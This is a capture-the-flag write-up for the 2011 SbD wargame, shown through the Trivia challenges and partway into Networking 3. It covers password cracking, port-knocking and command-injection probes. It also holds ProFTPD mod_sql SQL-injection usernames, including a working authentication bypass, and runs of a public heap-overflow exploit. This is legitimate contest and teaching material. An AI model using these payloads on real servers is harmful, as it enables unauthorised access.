
 

SbD Wargame 2011 write-up 
by int3pids (dreyer, kachakil, nullsub, romansoft, uri, whats) 

 

Feb 8th, 2011 

 
 



                                                                         SbD Wargame 2011 write-up.  © int3pids , 2011  
 

 
 

 2 

Contents 
 

CONTENTS ................................................................................................................................... 2 

INTRO ........................................................................................................................................... 3 

 

TRIVIA 1 ........................................................................................................................................ 5 

TRIVIA 2 ........................................................................................................................................ 7 

TRIVIA 3 ........................................................................................................................................ 9 

 

NETWORKING 1......................................................................................................................... 11 

NETWORKING 2......................................................................................................................... 15 

NETWORKING 3......................................................................................................................... 17 

 

WEB 1 ......................................................................................................................................... 29 

WEB 2 ......................................................................................................................................... 36 

WEB 3 ......................................................................................................................................... 43 

 

BINARIES 1 ................................................................................................................................ 46 

BINARIES 2 ................................................................................................................................ 51 

BINARIES 3 ................................................................................................................................ 61 

 

CRYPTO 1 ................................................................................................................................... 68 

CRYPTO 2 ................................................................................................................................... 70 

CRYPTO 3 ................................................................................................................................... 76 

 

CONTACT US ............................................................................................................................. 79 

CONCLUSIONS & ACKNOWLEDGEMENTS ........................................................................... 80 

 
 
 
 
 
 



                                                                         SbD Wargame 2011 write-up.  © int3pids , 2011  
 

 
 

 3 

Intro 
 

On past 15th January of 2011, the first ñSecurity by Defaultò wargame took 
place. It was an online competition with challenges divided in five categories: 
Trivia, Networking, Web, Binaries and Cryptography.  

 

 

As in other wargames, each challenge had a different score giving more 
points for solving harder challenges than easier ones. A not so common rule in 
this game was that the first team to solve a challenge would win some extra 
points. This rule makes sense when a wargame have an ending date but in this 
case it hadn't so... what were the extra points used for?  

 

 

However, we finally solved the wargame before anyone, even winning most 
extra points (as you can see in the ranking -look for medal icons-) and making 
no doubt to worry about :-). 

 

Dashboard 

General stats 
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Nowé letôs the magic beginé (and hope you enjoy this write-up!) 
 

Ranking 

Evolution chart  
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Trivia 1 

Score 

100 

Description 

 
How many posts are there in SecurityByDefault blog until 31/12/2010? 

Solution 

 
This is very simple and straightforward. We only have to browse to the 
main page of SecurityByDefault blog: http://www.securitybydefault.com/ 
 
You have the solution at the right column (marked in red): 

 

http://www.securitybydefault.com/
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Letôs zoom in: 
 

 
 
So we only have to add each yearôs number of posts: 
356 + 379 + 162 

 

Token 

897 
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Trivia 2 

Score 

100 

Description 

 

How many published comments are there in SecurityByDefault blog until 
31/12/2010? 

Solution 

 

If the RSS feed for comments were enabled in this blog, maybe the 
fastest way to solve this task would be using this feed, but it is (and was) 
disabled. The idea is pretty simple: the number of comments in each post 
is shown at the end of every post, just before the comments section, so 
we only have to sum all these numbers together. 

 

Of course you can do it by hand (there were 897 posts ñonlyò), but we 
hope you have better things to do, so we will explain the way we did to 
automate this task. First, we used a download manager to save all the 
posts in HTML files, opening in our browser the trees of 2008, 2009 and 
2010, including all their months, and then using the option ñDownload all 
with FlashGetò (http://www.flashget.com). 

 

Once we have all the files downloaded, we can iterate over them and 
locate the exact position of the number of comments by searching for the 
next HTML block: 

<div class= 'comments'  id= 'comments' > 

<a name='comments' ></a>  

<h4>  12  

comentarios:  

         

</h4>  

 

http://www.flashget.com/
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In our case, we used this VB.net code: 

 

Dim comments As Integer  = 0 

 

For  Each  file In  IO.Directory.GetFiles( "C: \ SbD_Posts \ " )  

    Try  

        Dim post As String  = IO.File.ReadAllText(file)  

        Dim i As  Integer  = post.IndexOf( "div class ='comments' 

id='comments'" )  

        Dim fragment As String  = post.Substring(i + 65)  

        comments += CInt (fragment.Substring( 0, 

fragment.IndexOf( "coment" ) -  1))  

    Catch  ex As Exception  

    End Try  

Next  

 

 

The total amount of comments was 4765 but this was a wrong answer. 
Then we thought that the last day (31/12/2010) probably has to be 
excluded because of the word ñuntilò so we subtracted the number of 
comments of the post of that day and tried with this new number, being 
the right one: 4765 ï 10 = 4755. 

 

Anyway, after the game was closed, we counted all the comments 
checking their date instead of the one of the posts. They were 12 
comments of 2011 in these posts, so we confirmed that the interpretation 
of the question must be done as we did. 

 

Token 

4755 
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Trivia 3 

Score 

100 

Description 

 
Which is the title of the most commented post in SecurityByDefault blog 
until 31/12/2010? 

 

Solution 

 
We solved and scored this challenge in less than a couple of minutes 
because it was easier than the previous one. In fact, we only have to 
locate the maximum value, adding some lines to the same code we used 
for Trivia 2: 
 
Dim comments As Integer  = 0 

Dim maxComments As Integer  = 0 

Dim mostCommented as  String  

 

For  Each  file In  IO.Directory.GetFiles( "C : \ SbD_Posts \ " )  

    Try  

        Dim post As String  = IO.File.ReadAllText(file)  

        Dim i As  Integer  = post.IndexOf( "div class='comments' 

id='comments'" )  

        Dim fragment As String  = post.Substring(i + 65)  

        comments = CInt (fragment.Substring( 0, 

fragment.IndexOf( "coment" ) -  1))  

 

        If  comments > maxComments Then 

            maxComments = comments  

            mostCommented = file  

        End If  

    Catch  ex As Exception  

    End Try  

Next  

 

 
The answer was ñGana 5 entradas para Campus Partyò, with 88 
comments. It should not surprise us considering that you had a chance to 
win a free ticket for the Campus Party in Valencia if you left a comment in 
that post... ;-) 
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Token 

Gana 5 entradas para Campus Party 
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Networking 1 

Score  

100 

Description 

¶ connect to me 1234 

¶ concatenate; is; so; useful 

Solution 

 
We connect to port 1234 following the tips section: 
 

 
 
 
There we try to log in using many default passwords 
(http://www.phenoelit-us.org/dpl/dpl.html) with no luck. We also try to 
insert special characters like ñ, ó, `, $, ;, etc. No luck either. Other 
attempts which donôt work: 
$(echo 1) 
`echo 1` 
é 
 
Nothing to do here, so we create a new user: 
 

 
 
 
We reconnect and have a look to the menu. It seems some kind of home 
router. 

http://www.phenoelit-us.org/dpl/dpl.html
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We notice that there should be a ñguestò account and indeed we can log 
in with user ñguestò, password ñguestò. But itôs a wrong path (perhaps 
other contestant created that account) so we re-log into our ñint3pidsò 
account (which is nicer! ;-)) 
 
By adding different characters to the menu number, we always get an 
ñIncorrect optionò responseé But we find the following strange behaviour 
with ñ;ò: 
 

 
 
So ñ1;ò is not giving error. Then we try different strings like: 
1;ls 
1;id 
1;sleep 10 
 
Bad luck again. 
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But the second tip is there: ñconcatenate; is; so; usefulò. We decide to 
keep on trying with other menu choices until we eventually reach: 
 

 
 
Yes!! Next step is pretty obvious: 
 

 
 
 
We got a type-7 Cisco password. There are tons of online decoders but 
we prefer to use the one embedded in Cain (http://www.oxid.it/cain.html): 
 

 
 

http://www.oxid.it/cain.html
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Token 

You really need a life. 
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Networking 2 

Score  

150 

Description 

¶ City of Spain. 

¶ FF: wrong value byte 

¶ mysql-net02.pcap 

¶ new hint! mysql salt is:  
31337000DEADCAFE313370313370313370313370 WOAAH!  

Solution 

 
We can open the PCAP file with Wireshark to spot a successful 
connection to a MySQL server. The authentication challenge begins in 
the fourth packet, in which we can see the salt bytes sent by the server. 
Then the client sends its username and the hashed password using the 
salt value received from the server. 
 
The easiest way we found to crack this password was to process the file 
directly from Cain (http://www.oxid.it/cain.html), so all the useful data will 
appear in the passwords tab of this tool. We can send it to the cracker 
tab, in which we will perform a dictionary attack over it by using the 
ñMySQL SHA1 Hashes + challengeò option. 
 
User:  debian - sys - maint  

Salt:  313370 01deadcafe313370313370313370313370  

Hash:  cfe6593db4f38d03457e97f532bf3031074854 ff  

 
But first we have to read the tips carefully because they are telling us that 
the ñFFò value is wrong. This tampered value is in the last byte of the 
password hash and for that reason we have to assume it as invalid. In 
order to find the actual value, we will have to try with all the 256 possible 
values instead of this one. 
 
Cain stores all the MySQL captured hashes sent to the cracker in a text 
file named ñMySQLHashes.lstò, whose format is easy to deduce. Each 
line contains a group of values separated by tabs, matching the column 
names of the user interface, so we will only have to generate a file with 
the same format with 256 lines, changing the last byte of the hash 
(ranging from 00 to FF) and keeping the rest as is. 
 

http://wargame.securitybydefault.com/e083be45dad004823b2b43fb9237229c/mysql-net02.pcap
http://www.oxid.it/cain.html
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On the other hand, we have to find or build a wordlist with cities of Spain. 
The list of provinces of Spain will be enough but we lost some hours 
trying other listings with hundreds of cities mixed with numbers and 
casing variations before the hint with the correct salt was published. We 
donôt know why the fourth byte was suddenly changed from 01 to 00 -it 
seems to be a ñlittleò mistake which makes the challenge unsolvable- but 
the organization fortunately corrected it right on time and then we could 
solve it quickly. 
 

 
 

 

User:  debian - sys - maint  

Salt:  313370 00deadcafe313370313370313370313370  

Hash:  cfe6593db4f38d03457e97f532bf3031074854 6a 

Pass:   Toledo  

 

Token 

Toledo 

http://en.wikipedia.org/wiki/Provinces_of_Spain
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Networking 3 

Score  

200 

Description 

¶ 2213:udp,3325:tcp,44XX:XXp 

¶ open sesame! 

Solution 

 
Given the tips and taking into account that this is a networking challenge, 
it is pretty obvious we should perform port-knocking. There are many 
port-knocking tools out there but the ñOPEN SESAMEò string is quite 
peculiar and Google quickly leads us to ñKnockdò: 
 
(http://www.zeroflux.org/projects/knock) 
 

 
 
Debian includes a ñknockdò package which contains both client and 
server components. We will only use ñknockò binary (the client). 
 
Some bruteforce is needed in order to spot the right port-knocking 
sequence (we should fill in the XX:XX in ñ2213:udp,3325:tcp,44XX:XXpò) 
but it is not difficult if you know what you are looking for. In this case, we 
have an extra tip in the introduction page of this challenge: 
 

http://www.zeroflux.org/projects/knock
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We conclude that we should look for FTP service (SSH added just in 
case): 
 

 
 
é 
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Right! ñ39ò (UDP) did the trick (we saved from trying TCP). Now a time-
limited window is open where port 21 is reachable (only from our IP 
address, of course). To defeat time limit, we open a new shell where we 
will refresh our time-window from time to time (10 secs, e.g.): 
 

 
 
Now letôs focus on FTP exploitation. First, we should analyze FTP 
version: 
 

 
 
We check SecurityFocus database and we get four possible 
vulnerabilities. We discard two of them (related to TLS/SSL bypass but 
useless to get access into the system ïif we donôt have any victim to 
sniff-). 
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So we have two possible paths now: 
Á mod_sql remote heap overflow (BID: 44933) 
Á mod_sql username SQL injection (BID: 33722) 

 
We begin analyzing first one: remote heap overflow. It is described in 
depth (believe us!) in latest Phrack magazine (issue 67), in an excellent 
article written by FelineMenace (kudos to him!). 
 
The article includes exploit code at the end of it so we grab it, decode it 
(ñuudecode <article>ò) and try it. Soon we notice the exploit has some 
kind of ñanti-script-kiddieò protection. In order to fix it we have to: 
Á Remove or comment a line. Diff: 

-       y = 0/0 
+      #y = 0/0 

Á Modify a function call. Diff: 
-               self.test_cache() 
+              self.test_cache(target) 

 
May be it contains some more tricks but we created shellcode.bin and 
shellcode2.bin and blindly launched it trying different variations: 
 

./proftpd.py -m offsets - t 1 wargame.securitybydefault.com  

./proftpd.py -m offsets - t 2 wargame.securitybydefault.com  

./proftpd.py -m bruteforce - t 1 wargame.securitybydefault.com  

./proftpd.py -m bruteforce - t 2 wargame.securitybydefault.com  
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Instead of dedicating more time to this complex exploit, we decide to 
switch into the other path: username SQL injection. So here we goé 
 
We read the following ProFTPD bug report: 
(http://bugs.proftpd.org/show_bug.cgi?id=3180) 
 

ñThe flaw lies inside the variable substition feature of mod_sql.  

 

For example if a user types in %l as part of the username, mod_sql replaces 

that with his ip address before it executes the SQL query. A user can exploit 

this feature to bypass the pr otection of the sql_escapestring function:  

 

The sql_escapestring correctly replaces ' with \ ' to prevent SQL injection. But 

if the user enters %' as part of his username, which gets transformed to % \ ' 

by the escape function, mod_sql tries to substitute the  variable. As % \  is an 

unknown variable it get's transformed to {UNKNOWN TAG}' -  thus leaving 

the quote intact and allowing injection of arbitrary sql code.ò 

 
Even we find exploit code (http://www.exploit-db.com/exploits/8037/): 
 

The problem is easily reproducible if you login with username like:  

 USER %') and 1=2 union select 1,1,uid,gid,homedir,shell from users; --  

 and a password of "1" (without quotes).  

 
If we try the exploit, FTP daemon crashes and our client connection gets 
closed: 
 

 
 
So it seems itôs vulnerable! But now we should exploit it properly. 
 
We assume that daemon is crashing because SQL sentence is incorrect. 
First step will be to get injection to work without getting an invalid SQL 
sentence. We get this behaviour by issuing ñ%ô) #ò as username. 
 

 
 

http://bugs.proftpd.org/show_bug.cgi?id=3180
http://www.exploit-db.com/exploits/8037/
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We can successfully use other strings like ñ%ô) -- ò (please, notice the 
space character at the end: it will not work if you remove it!). 
 
Letôs build an exploit ñsimilarò to public one: 
 

User: %') and 1=2 union select 1,1,uid,gid,homedir,shell from users #  

Pass: 1  

 

 
 
At this point, we check a lot of possibilities and think that: 
- perhaps there are many users and only one is valid: 
 

%') and 1=2 union select 1,1,uid,gid,homedir,shell from u sers limit 0,1#  

%') and 1=2 union select 1,1,uid,gid,homedir,shell from users limit 1,1#  

%') and 1=2 union select 1,1,uid,gid,homedir,shell from users limit 2,1#  

é 
- we could use a ñvirtualò user (non-existent in database). For instance, 
this would be uid=1000, gid=1000, home=/, shell=/bin/sh: 

 

%') and 1=2 union select 1,1,1000,1000,0x2f,0x2f62696e2f7368#  

 

- to be sure whether itôs a MySQL database (yes, it is!): 
 

%') and 1=2 union select 1,1,1000,1000,@@datadir,0x2f62696e2f7368#  

 
But we still fail to bypass authentication. 
 
A time-based blind SQL injection exploitation is feasible (but horribly 
slow). 
 
We can also try error-based blind SQL injection since you have different 
conditions: 
- true (FTP is not crashing) 
 

%') and 1=2 union select 1,1,1000,1000,0x2 f,31337 REGEXP repeat(0x41, 

1)#  

 
- false (FTP is crashing) 
 

%') and 1=2 union select 1,1,1000,1000,0x2f,31337 REGEXP repeat(0x41, 

0)#  
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(former trick is described in detail in Reinersô blog: 
 http://websec.wordpress.com/2010/05/07/exploiting-hard-filtered-sql-
injections-2-conditional-errors/). 
 
But there should be another (and easy) way to solve this so we go 
backwards. Why doesnôt this exploit work? 
 

User: %') and 1=2 union select 1,1,uid,gid,homedir,shell from users #  

Pass: 1  

 
Ok, we are assuming password is stored in clear-text in database! Now 
letôs assume the password is saved in MD5: 
 

User: %') and 1=2 union select 1,md5(1),uid,gid,homedi r,shell from users #  

Pass: 1  

 
Still no luck: 
 

 
 
Since we know itôs a MySQL database, perhaps it is using password() 
function: 
 

User: %') and 1=2 union select 1,password(1),uid,gid,homedir,shell from 

users #  

Pass: 1  

 

 
 
It works!!!!! J  Please also note that it is necessary to switch into passive 
mode. 
 

http://websec.wordpress.com/2010/05/07/exploiting-hard-filtered-sql-injections-2-conditional-errors/
http://websec.wordpress.com/2010/05/07/exploiting-hard-filtered-sql-injections-2-conditional-errors/
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We download both files (file.rar and file.txt). RAR file is encrypted and .txt 
tells us: 
 

This time, check cities of China : - )  

 
We begin to build a new dictionary, this time with Chinese cities. Itôs a 
matter of Googling and parsing. For instance: 
 

$ wget http://www.mongabay.com/igapo/China.htm -o /dev/null -O -  | cut -

d '>' - f7 | cut -d '<' - f1 | egrep -v '^$' > cities  

 

$ wget http://chinadataonline.org/member/city/city_md.asp -o /dev/n ull -O 

-  | grep "<TD>" | cut - d '>' - f2 | cut -d "," - f1 > cities2  

 
Then start a RAR cracker (for instance, Elcomsoft ñAdvanced Archive 
Password Recoveryò) and begin cracking. 
 
Cracking doesnôt yield a good result. When we are fed up of cracking and 
building tons of dictionariesé we think of giving up! 
 
Oh, no, impossible! Perhaps we missed something. So we go backwards 
andé 
 

 
 
We have just discovered a .bash_history file! (remember: Unix files 
beginning with ñ.ò are ñhiddenò files so we have to issue a ñls -laò to deal 
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with it). We should fix permissions in order to download the file (luckily 
FTP is allowing SITE commands so we can ñchmodò files). 
 
Letôs see whether or not sysadmin packed/unpacked RAR file recently: 
 

 
 

Right! Password was there (syadmin encrypted both file data and 
headers with ïhp parameter)! And it was not a Chinese city. It was a 
nasty trap! L. 
 
Now we can unrar ñfile.rarò and extract ñfile.pcapò. The adventure 
continuesé 
 
We open .pcap file with Wireshark. It contains two PostgreSQL 
handshakings. 
 
First one is a failed connection attempt: 
 

 
 
Second one is ok, so we will focus on it: 
 
















































































































